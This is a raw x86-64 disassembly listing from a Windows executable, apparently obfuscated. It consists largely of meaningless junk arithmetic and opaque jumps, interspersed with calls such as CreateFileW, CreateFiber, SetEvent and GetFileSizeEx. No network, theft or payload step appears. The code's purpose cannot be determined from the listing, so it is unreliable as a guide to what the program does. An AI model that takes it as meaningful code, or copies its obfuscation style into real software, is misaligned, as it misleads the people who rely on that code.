mov eax, dword [rsp + 0x78]
add eax, ecx
mov dword [rsp + 0x438], eax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x400], rax
mov eax, dword [0x140011004]
imul eax, eax, 0x7790
mov dword [rsp + 0x334], eax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov qword [rsp + 0x4b8], rax
movsx edx, byte [rsp + 0x19c]
mov rax, qword [rsp + 0x418]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x94], al
lea rax, [rsp + 0x2ec]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x418]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3f8]
movsx eax, byte [rax]
sub edx, eax
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [0x140011002]
add eax, ecx
cmp edx, eax
jne 0x140003c71
mov rax, qword [rsp + 0x218]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0xf8]
movzx edx, word [rsp + 0xf8]
mov ecx, dword [rsp + 0x78]
call fcn.140006d20
jmp 0x140006800
mov rax, qword [rsp + 0x308]
mov edx, dword [rax]
mov rax, qword [rsp + 0x3d8]
add edx, dword [rax]
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rsp + 0x78]
sub eax, ecx
cmp edx, eax
jg 0x140006800
movsx r8d, byte [0x140011001]
mov rax, qword [rsp + 0x418]
movsx eax, byte [rax]
and r8d, eax
movsx edx, byte [rsp + 0x19c]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp r8d, eax
jle 0x14000679d
movzx edx, byte [section..data]
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x138], al
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0x2d8]
add ecx, eax
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
add eax, dword [0x140011004]
cmp ecx, eax
je 0x140006749
lea rax, [rsp + 0x3b0]
mov qword [0x140012070], rax
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x368]
xor eax, ecx
mov byte [rsp + 0x94], al
lea rax, section..data
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x390]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1b8]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0x36c], eax
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x438]
or eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x50]
idiv qword [rcx]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
mov word [rsp + 0x1c8], ax
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19c]
and eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x438]
sub eax, ecx
mov dword [0x140011020], eax
movzx eax, byte [rsp + 0x19c]
mov byte [rsp + 0x1c0], al
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x208]
movzx eax, word [rax]
mov word [rsp + 0x250], ax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.JgdArLlCSwt4FULfI7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b8]
sub rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x218]
movsx eax, word [rax]
mov dword [rsp + 0x4ec], eax
cmp dword [rsp + 0x4ec], 0xffffb350
je 0x140003ed8
jmp 0x140003f19
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x400]
add rax, qword [rcx]
mov qword [rsp + 0xc0], rax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x358], al
mov rax, qword [rsp + 0x208]
movzx eax, word [rax]
mov word [0x140012080], ax
jmp 0x140003fad
movzx ecx, word [rsp + 0x2b0]
movzx eax, word [rsp + 0x39c]
add ecx, eax
mov rax, qword [rsp + 0x480]
mov word [rax], cx
movzx eax, word [rsp + 0x1c8]
movzx ecx, word [rsp + 0x39c]
and eax, ecx
mov word [rsp + 0x150], ax
call fcn.140006d90
movzx r11d, byte [rsp + 0x64]
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov eax, r11d
sub eax, ecx
mov byte [rsp + 0x284], al
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x390]
add rcx, qword [rax]
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x2d8]
add eax, ecx
mov dword [rsp + 0x334], eax
cmp dword [rsp + 0xb0], 0xcc62
jae 0x1400044ae
mov rax, qword [rsp + 0x3b0]
movzx ecx, al
mov rax, qword [rsp + 0xd8]
shl rax, cl
mov qword [rsp + 0xc0], rax
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x2c8]
xor eax, ecx
mov dword [rsp + 0x1cc], eax
movsx eax, word [rsp + 0xf8]
movsx ecx, word [rsp + 0x280]
or eax, ecx
mov word [rsp + 0x2ec], ax
mov rcx, qword [rsp + 0x400]
mov rcx, qword [rcx]
mov rax, qword [0x140012070]
mov rax, qword [rax]
sar rax, cl
mov rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
mov rax, qword [rsp + 0x100]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x238]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x4a0]
sub ecx, eax
mov rax, qword [rsp + 0x2d0]
mov word [rax], cx
movsx eax, byte [rsp + 0x358]
movsx ecx, byte [rsp + 0x220]
add eax, ecx
mov byte [rsp + 0x368], al
mov rcx, qword [rsp + 0x400]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x154]
add ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x210]
sub rax, rcx
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x260]
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x218]
movsx eax, word [rax]
movsx ecx, word [0x14001101c]
add eax, ecx
mov word [0x140012080], ax
movzx edx, word [rsp + 0xa0]
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4a0], ax
movzx ecx, byte [rsp + 0x149]
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x149]
movzx eax, byte [rsp + 0x138]
xor ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
movzx edx, word [rsp + 0x39c]
movzx eax, word [rsp + 0x2b0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4a0], ax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x36c]
sub eax, ecx
mov dword [rsp + 0x2d8], eax
mov rdx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd8]
add rcx, rax
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x390]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x88]
sub rax, rcx
mov qword [rsp + 0x1b8], rax
mov eax, dword [rsp + 0xb0]
add eax, 0x5f
mov dword [rsp + 0xb0], eax
movsx edx, word [rsp + 0x1e8]
mov rax, qword [rsp + 0x218]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x140011018], ax
movzx edx, byte [rsp + 0x64]
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x468]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x418]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x220], al
movsx edx, word [rsp + 0x280]
mov rax, qword [rsp + 0x158]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x2ec], ax
movzx eax, word [rsp + 0xa0]
movzx ecx, word [rsp + 0x198]
add eax, ecx
mov word [rsp + 0x2b0], ax
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x334]
and eax, ecx
mov dword [rsp + 0x154], eax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x210]
xor rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [0x140012070]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc0]
shl rax, cl
mov qword [rsp + 0x3b0], rax
mov rcx, qword [rsp + 0x378]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3e8], eax
mov rax, qword [rsp + 0x3b0]
movzx ecx, al
mov rax, qword [rsp + 0x1e0]
sar rax, cl
mov rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x238]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
movsx ecx, byte [0x140011002]
mov rax, qword [rsp + 0x418]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
movzx eax, word [rsp + 0x2e8]
movzx ecx, word [rsp + 0xa0]
and eax, ecx
mov word [rsp + 0x150], ax
movsx eax, byte [0x140011002]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [rsp + 0x19c], al
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x260]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x2c8], eax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x140]
add ecx, dword [rax]
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
mov rcx, qword [0x140012070]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xd8]
mov rax, qword [0x140012070]
mov qword [rax], rcx
mov rax, qword [rsp + 0x468]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x28c], al
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
movzx eax, byte [section..data]
add ecx, eax
mov rax, qword [rsp + 0x98]
mov byte [rax], cl
jmp 0x140003fad
movsx edx, word [rsp + 0x2ec]
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
mov word [rsp + 0x1a4], ax
mov rax, qword [0x140012070]
mov rcx, qword [rsp + 0x400]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc0], rax
mov rdx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x260]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x1b8]
movzx ecx, al
mov rax, qword [rsp + 0x410]
shr rax, cl
mov qword [rsp + 0x210], rax
movsx edx, byte [rsp + 0x94]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140011003], al
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x3e0]
add eax, 0xe7
mov dword [rsp + 0x3e0], eax
movzx eax, word [0x140011008]
movzx ecx, word [rsp + 0x39c]
add eax, ecx
mov word [rsp + 0x2b0], ax
mov rax, qword [rsp + 0x3f8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x358], al
mov rax, qword [rsp + 0x218]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x3cc], ax
mov eax, dword [rsp + 0x2d8]
mov ecx, dword [rsp + 0x154]
sub ecx, eax
mov rax, qword [rsp + 0x140]
mov dword [rax], ecx
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
add rax, qword [0x140012068]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x308]
mov ecx, dword [rsp + 0x1cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x438], eax
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b8], rax
movsx eax, word [0x140011018]
movsx ecx, word [rsp + 0x250]
sub eax, ecx
mov word [0x140012080], ax
movzx ecx, word [rsp + 0x2b0]
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x2d0]
mov word [rax], cx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx r11d, byte [rsp + 0x138]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, r11d
xor eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x158]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x290]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0xd0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov ecx, dword [rsp + 0xe4]
mov eax, dword [rsp + 0xb4]
and eax, ecx
mov dword [rsp + 0x2d8], eax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rsp + 0x78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x390]
add rax, qword [rcx]
mov qword [rsp + 0x4b8], rax
mov rcx, qword [rsp + 0xd8]
mov rax, qword [rsp + 0x3b0]
sub rax, rcx
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x400]
mov rax, qword [0x140012068]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x284]
and eax, ecx
mov byte [rsp + 0xd0], al
lea rdx, [rsp + 0x3b8]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3e8], eax
cmp dword [rsp + 0x3e0], 0x1008c
jne 0x140004578
movsx ecx, byte [rsp + 0x1c0]
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x3f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x238]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
sub r8d, eax
movzx edx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp r8d, eax
jl 0x14000486b
movsx edx, byte [rsp + 0x368]
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf8]
or eax, ecx
mov word [rsp + 0x280], ax
jmp 0x140004994
mov eax, dword [rsp + 0x438]
movzx ecx, al
mov eax, dword [rsp + 0x1cc]
shl eax, cl
mov dword [rsp + 0x2c8], eax
mov eax, dword [0x140011004]
mov dword [rsp + 0x1c4], eax
mov dword [rsp + 0x2dc], 0xefa3
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
mov dword [rsp + 0x4f0], eax
cmp dword [rsp + 0x4f0], 0x2e5
je 0x14000497a
cmp dword [rsp + 0x4f0], 0x24a0
je 0x1400048d2
jmp 0x140004994
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x410]
shr rax, cl
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
imul eax, eax, 0x828
mov word [0x140011024], ax
movsx ecx, word [rsp + 0x110]
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
movzx edx, byte [section..data]
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x158]
movzx eax, word [rax]
mov word [rsp + 0x40c], ax
jmp 0x140004994
mov edx, 0x5d
mov rcx, qword [rsp + 0x350]
call qword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [rsp + 0x298], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x80]
mov qword [rax], rcx
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x140]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b0]
add eax, dword [rcx]
mov dword [rsp + 0x2d8], eax
movsx edx, word [rsp + 0x280]
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
sub edx, eax
movsx eax, word [rsp + 0x3cc]
movsx ecx, word [rsp + 0x250]
add eax, ecx
cmp edx, eax
jge 0x140004ab1
mov rax, qword [rsp + 0x308]
mov eax, dword [rax]
mov dword [rsp + 0xd4], eax
movzx edx, byte [rsp + 0x149]
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x480]
movzx edx, word [rax]
mov rax, qword [rsp + 0x2d0]
movzx ecx, word [rax]
mov eax, edx
imul eax, ecx
mov word [0x140011028], ax
movsx ecx, byte [rsp + 0x19c]
mov rax, qword [rsp + 0x3f8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
movzx eax, word [rsp + 0x48]
mov word [rsp + 0xac], ax
movsx eax, word [rsp + 0xf8]
movsx ecx, word [rsp + 0x2ec]
sub eax, ecx
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x338]
mov eax, dword [rax]
mov dword [rsp + 0x384], eax
mov rdx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0xd4], eax
mov rax, qword [rsp + 0x238]
movzx r8d, byte [rax]
movzx eax, byte [rsp + 0x284]
xor r8d, eax
mov rax, qword [rsp + 0x428]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, edx
cdq
idiv ecx
cmp r8d, eax
je 0x140006662
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd0]
sub ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
lea rax, [rsp + 0x210]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x3d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x308]
add eax, dword [rcx]
mov dword [rsp + 0xd4], eax
mov rdx, qword [rsp + 0x400]
mov rdx, qword [rdx]
imul rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [0x140012068]
and rax, rcx
cmp rdx, rax
jne 0x140004c0e
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19c], al
mov r8, qword [rsp + 0x1d0]
mov edx, 4
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.GDI32.dll_GetTextFaceW]
mov dword [rsp + 0x438], eax
mov rcx, qword [rsp + 0x470]
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [rax], rcx
movzx r8d, byte [rsp + 0x220]
mov edx, dword [rsp + 0x438]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
call fcn.140006cc0
jmp 0x140006595
movsx r8d, word [rsp + 0x2ec]
movsx eax, word [rsp + 0x1e8]
sub r8d, eax
mov rax, qword [rsp + 0x218]
movsx edx, word [rax]
movsx eax, word [rsp + 0x108]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp r8d, eax
jl 0x140006595
cmp dword [rsp + 0x2dc], 0xc143
jbe 0x140004dff
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xc0]
sub rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rax, qword [rsp + 0x260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x308]
add eax, dword [rcx]
mov dword [rsp + 0x2c8], eax
mov rdx, qword [rsp + 0x338]
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0xb4], eax
movsx eax, word [rsp + 0x110]
movsx ecx, word [rsp + 0xf8]
and eax, ecx
mov word [0x140012080], ax
mov eax, dword [rsp + 0x2dc]
sub eax, 0xe0
mov dword [rsp + 0x2dc], eax
movzx ecx, word [rsp + 0x2b0]
movzx eax, word [rsp + 0x39c]
xor ecx, eax
mov rax, qword [rsp + 0x2d0]
mov word [rax], cx
movzx edx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x428]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x100]
movsx edx, word [rax]
movsx eax, word [rsp + 0x280]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
movsx edx, byte [rsp + 0x28c]
movsx eax, byte [rsp + 0x358]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3f8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x4b8]
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x3b0]
sub rcx, rax
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
mov rax, qword [rsp + 0x260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x78]
and ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
mov eax, dword [rsp + 0x334]
mov ecx, dword [rsp + 0x2d8]
sub ecx, eax
mov rax, qword [rsp + 0x140]
mov dword [rax], ecx
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov byte [section..data], al
jmp 0x140004c45
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0x4f4], eax
cmp dword [rsp + 0x4f4], 0
je 0x140004ef1
cmp dword [rsp + 0x4f4], 0xa789
je 0x140004e2d
jmp 0x14000652b
mov rax, qword [rsp + 0x2d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1c8], ax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x400]
add rcx, qword [rax]
mov rax, qword [rsp + 0x80]
mov qword [rax], rcx
mov rax, qword [rsp + 0x260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3d8]
add eax, dword [rcx]
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x384]
movzx ecx, al
mov eax, dword [rsp + 0xe4]
shl eax, cl
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x4b8]
xor rcx, rax
mov rax, qword [rsp + 0x470]
mov qword [rax], rcx
mov rax, qword [rsp + 0x158]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x2ec]
mov rax, qword [rsp + 0x100]
movzx edx, word [rax]
mov ecx, dword [rsp + 0xd4]
call fcn.140006d20
jmp 0x14000652b
mov rax, qword [rsp + 0x3c0]
movzx eax, byte [rax]
mov byte [0x140012082], al
lea rax, [0x140011028]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
mov byte [rsp + 0x380], al
movzx eax, byte [rsp + 0x149]
movzx ecx, byte [rsp + 0x64]
or eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x158]
movsx edx, word [rax]
movsx eax, word [rsp + 0xf8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x218]
mov word [rax], cx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x338]
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
cmp dword [rsp + 0xf0], 0xb6e0
jb 0x140005517
mov rcx, qword [0x140012068]
mov rax, qword [rsp + 0x3b0]
add rax, rcx
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x418]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140011002], al
mov rax, qword [rsp + 0x218]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
movzx edx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x428]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
sub eax, ecx
mov word [rsp + 0x150], ax
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x94]
sub ecx, eax
mov rax, qword [rsp + 0x58]
mov byte [rax], cl
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x2d8]
sub eax, ecx
mov dword [rsp + 0x1c4], eax
mov ecx, dword [rsp + 0x438]
mov rax, qword [rsp + 0x308]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1cc], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1e0]
or rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x4b8]
movzx ecx, al
mov rax, qword [rsp + 0x410]
shr rax, cl
mov qword [rsp + 0x3f0], rax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0xac]
xor eax, ecx
mov word [0x140011024], ax
movzx eax, byte [rsp + 0x64]
